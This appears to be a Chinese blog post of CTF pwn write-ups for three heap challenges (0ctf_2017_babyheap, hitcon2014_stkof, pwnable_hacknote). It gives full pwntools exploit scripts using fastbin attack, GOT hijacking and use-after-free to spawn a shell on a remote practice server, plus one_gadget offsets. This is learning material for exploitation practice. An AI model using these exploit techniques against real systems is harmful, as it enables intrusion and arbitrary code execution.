首页 > 其他分享 >独奏者2 序章的wp

独奏者2 序章的wp

时间:2023-07-26 12:44:47浏览次数:32  
标签:p64 idx 独奏者 free 序章 add str wp sla

0x01 0ctf_2017_babyheap

2023.7.24 国防科技大学 合肥
本题除了fastbin attack,最重要的是伪造fakechunk,使得存放chunk的指针有两个指向同一个地址,达到泄露地址的目的。

突然发现自己之前写过一模一样的题,当时是照着别人的方法写的堆重叠(这次也有借鉴其实……)。

这个方法我愿意称之为double malloc。

from pwn import *
from evilblade import *

context(os='linux', arch='amd64')
#context(os='linux', arch='amd64', log_level='debug')

setup('./2017')
libset('libc-2.23.so')
rsetup('node4.buuoj.cn',28216)
evgdb()

def add(size):
    #p.sendlineafter(':','1')
    #p.sendlineafter(':',str(size))
    sla(':',str(1))
    sla(':',str(size))

def edit(idx,content):
    sla(':','2')
    sla(':',str(idx))
    sla(':',str(len(content)))
    sla(':',content)

def free(idx):
    sla(':','3')
    sla(':',str(idx))

def dump(idx):
    sla(':','4')
    sla(':',str(idx))
add(0x10)#0
add(0x10)#1
add(0x10)#2
add(0x10)#3,改4
add(0x80)#4
add(0x10)#5 申请堆,最后一个防止合并
#先指向,然后申请fake,两次指向,free一次,泄露地址free(1)
free(2)
#pause()
edit(0,b'\x00'*8*3+p64(0x21)+b'\x00'*8*3+p64(0x21)+b'\x80')
edit(3,b'\x00'*8*3+p64(0x21))

add(0x10)#1
add(0x10)#2 fake chunk
#此时2和4都指向一个堆块edit(3,b'\x00'*8*3+p64(0x91))#恢复,获取地址
free(4)#送入unsorted bin
dump(2)#打印
addx = tet()
addx = tet()
addx = tet()
addx = tet()
addx = tet()
addx = tet()
#接收数据,泄露libc地址addx = getx64(-9,-1)
hook = addx-0x68
addx = hook - 0x1430
base = getbase(addx,'_IO_file_jumps')

add(0x80)
add(0x68)
add(0x68)#fastbin attack
free(6)
free(7)
edit(5,b'\x00'*8*3+p64(0x71)+b'\x00'*8*0xd+p64(0x71)+p64(hook-0xb-0x18))



os = base+0x4526a

add(0x68)
add(0x68)

edit(7,b'\x00'*0x13+p64(os))
dp('hook',hex(hook))
add(0x10)
ia()

'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''

0x02 hitcon2014_stkof

hitcon2014_stkof
2023.7.25
自己从昨晚开始看的,今天早上好好逆了一下,独立做出来的一道题。
本题目的关键因为没有dump函数,所以是劫持got表到puts的plt,这是我自己发现的,哈哈哈好厉害!
详细的都在exp里了。

刚才看了一下,这题还有一个办法是unlink。
unlink的作用就是,
当一个bin从记录bin的双向链表中被取下时,会触发unlink。常见的比如:相邻空闲bin进行合并,malloc_consolidate时。unlink的过程如下图所示(来自CTFWIKI)主要包含3个步骤,

根据P的fd和bk获得双向链表的上一个chunk FD和下一个chunk BK
设置FD->bk=BK
设置BK->fd=FD,以此达到修改内存的目的,此题是修改s。

from pwn import *
from evilblade import *

context(os='linux', arch='amd64')
context(os='linux', arch='amd64', log_level='debug')

setup('./sk')
libset('libc-2.23.so')
rsetup('node4.buuoj.cn',27833)
evgdb()

def add(size):
    sl(str(1))
    sl(str(size))

def edit(idx,content):
    sl('2')
    sl(str(idx))
    sl(str(len(content)))
    sd(content)

def free(idx):
    sl('3')
    sl(str(idx))

def dump(idx):
    sl(b'4')
    sl(str(idx))

#存在堆溢出漏洞
#打fastbin attack任意内存写

#注意0x7f对应的大小是0x68!!
#注意0x7f对应的大小是0x68!!
#注意0x7f对应的大小是0x68!!

add(0x10)#一个被隔开的,1
add(0x10)#2,控制后面的堆
add(0x68)#3
add(0x68)#4
add(0x10)#5,防止合并

free(3)#
free(4)#释放准备攻击

edit(2,p64(0)*3+p64(0x71)+p64(0)*13+p64(0x71)+p64(0x602140-0x6b-8))
#覆盖为堆指针的上面部分,对其0x7f伪造堆块

add(0x68)#6
add(0x68)#7,fake chunk

edit(7,b'\x00'*(0x6b+8-0x10)+p64(gotadd('free'))+p64(gotadd('puts')))
#free的是为了写,puts的是为了泄露地址

edit(0,p64(pltadd('puts')))#free劫持为puts,用来泄露地址
free(1)#泄露puts的got地址,实际上执行的是puts(putsgot)

for i in range(19):
    addx = tet()
#接收泄露地址

addx = getx64(0,-1)
base = getbase(addx,'puts')

sys = symoff('system',base)
edit(0,p64(sys))#free劫持为system
edit(2,'/bin/sh')#写个binsh字符串
free(2)#实际上执行的是system(‘/bin/sh’)

ia()

'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''

在这里插入图片描述

发现沉下心来逆一下还是可以理解程序的!!!

0x03 pwnable_hacknote

2023.7.25 还是合肥
pwnable你这个库真骚啊……原来自己过去还有个库。
查了一下

 strings libc_32.so.6  |grep Ubuntu                  
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu5) stable release version 2.23, by Roland McGrath et al.
from pwn import *
from evilblade import *

#context(os='linux', arch='amd64')
context(os='linux', arch='i386', log_level='debug')

setup('./note')
libset('libc_32.so.6')
rsetup('node4.buuoj.cn',26091)
evgdb()
#evgdb('b *0x8048918')

def add(size,content):
    #p.sendlineafter(':','1')
    #p.sendlineafter(':',str(size))
    sla(':',str(1))
    sla(':',str(size))
    sla(':',content)

def edit(idx, content):
    sla(':','2')
    sla(':',str(idx))
    sa(':',content)

def free(idx):
    sla(':','2')
    sla(':',str(idx))

def dump(idx):
    sla(':','3')
    sla(':',str(idx))

add(16,b'a'*8)
add(16,b'b'*8)
free(0)
free(1)

add(8,p32(0x0804862b)+p32(gotadd('puts')))
dump(0)#uaf,修改了本来的堆地址为puts的got表
symoff('puts')
#addx = tet()
addx = getx32(-13,-9)

base = getbase(addx,'puts')
sys = symoff('system',base)
#走投无路了,看了别人题解,居然是用;绕过
#因为本来是把自己当成参数,但是没有\0截断,会读到下面,于是
#用;绕过加一个sh执行system('sh\x00'),牛的,而且刚好四个字节
free(2)
add(8,p32(sys)+b';sh\x00')
dump(0)
ia()

在这里插入图片描述

标签:p64,idx,独奏者,free,序章,add,str,wp,sla
From: https://www.cnblogs.com/9man/p/17582180.html

相关文章

  • N1nEmAn-2023集训wp&&后续pwn-wp
    week12022-12-28WP0x00T1reverse3前几天没注意到要发wp,现在补一下。最近在学汇编,pwn题没做新的了。想到之前了解到hws的pwn会考花指令,听hjx他们说那是re的内容,就特意去做了点re。题目来源是buuctf的reverse3。0x01wp第一步,查壳没壳,32位,准备丢ida第二步,反编译观察到......
  • DevExpress WPF Tree List组件,让数据可视化程度更高!(一)
    DevExpressWPFTreeList组件是一个功能齐全、数据感知的TreeView-ListView混合体,可以把数据信息显示为REE、GRID或两者的组合,在数据绑定或非绑定模式下,具有完整的数据编辑支持。DevExpressWPF 拥有120+个控件和库,将帮助您交付满足甚至超出企业需求的高性能业务应用程序。通过......
  • 独奏者2 序章的wp
    0x010ctf_2017_babyheap2023.7.24国防科技大学合肥本题除了fastbinattack,最重要的是伪造fakechunk,使得存放chunk的指针有两个指向同一个地址,达到泄露地址的目的。突然发现自己之前写过一模一样的题,当时是照着别人的方法写的堆重叠(这次也有借鉴其实……)。这个方法我愿意......
  • WPF设置字体和字号
    最简单在MainWindow.xaml设置,字体FontFamily,字号FontSize<Windowx:Class="TestWpf.MainWindow"xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"......
  • 【深入浅出Spring原理及实战】「夯实基础系列」360全方位透析和探究SpringEL的开发实
    Spring表达式语言(SpEL)本文将介绍SpEL的功能、API和语言语法。概念介绍Spring表达式语言(SpEL)是一种功能强大的表达式语言,用于在运行时查询和操作对象图。它的语法与UnifiedEL相似,但提供了更多功能,其中最主要的是方法调用和基本的字符串模板功能。技术无关性虽然还有其他几......
  • [SWPUCTF 2021 新生赛]jicao
    [SWPUCTF2021新生赛]jicao题目来源:nssctf题目类似:web涉及考点:代码审计1.直接看题,给了一串php代码<?phphighlight_file('index.php');include("flag.php");$id=$_POST['id'];$json=json_decode($_GET['json'],true);if($id=="wllmNB"......
  • [SWPUCTF 2021 新生赛]easy_md5
    [SWPUCTF2021新生赛]easy_md5题目来源:nssctf题目类型:web涉及考点:PHP弱比较1.又是一道代码审计题,题目页面如下<?phphighlight_file(__FILE__);include'flag2.php';if(isset($_GET['name'])&&isset($_POST['password'])){$name=$_GET[&......
  • 美丽的夕阳qsnctfwp
    题目附件查看图片,放大左侧发现建筑物上8个字:龙腾公寓/福阳集团根据文字在搜索引擎中查找,并由此确定城市通过百度地图全景地图查看当地桥梁,并与照片比对调整地图比例尺,记录桥名根据提示qsnctf{河北-石家庄-张桥-李桥}拼接flag并提交即可-End-......
  • .net 6 wpf aop
    .NET6中的WPF和AOP在.NET6中,WindowsPresentationFoundation(WPF)已经成为一个非常强大和流行的框架,用于创建富客户端应用程序。同时,面向切面编程(AOP)是一种优秀的编程范式,可以用于实现横切关注点的分离。本文将介绍在.NET6中如何结合使用WPF和AOP,并提供一些......
  • WPF Syncfusion控件(图表部分)简介
    一周之前就打算也这篇文章了,但由于非常忙最近,家里的事情很多。周日晚上忙完所有事情,终于有自己的时间,于是决定完成这篇文章,不能再拖了!本文主要是给读者起到一个知道怎么去阅读demo的作用,如果在实际开发中读者需要使用到syncfusion,务必仔细阅读官方文档中所提供的demo。写之前......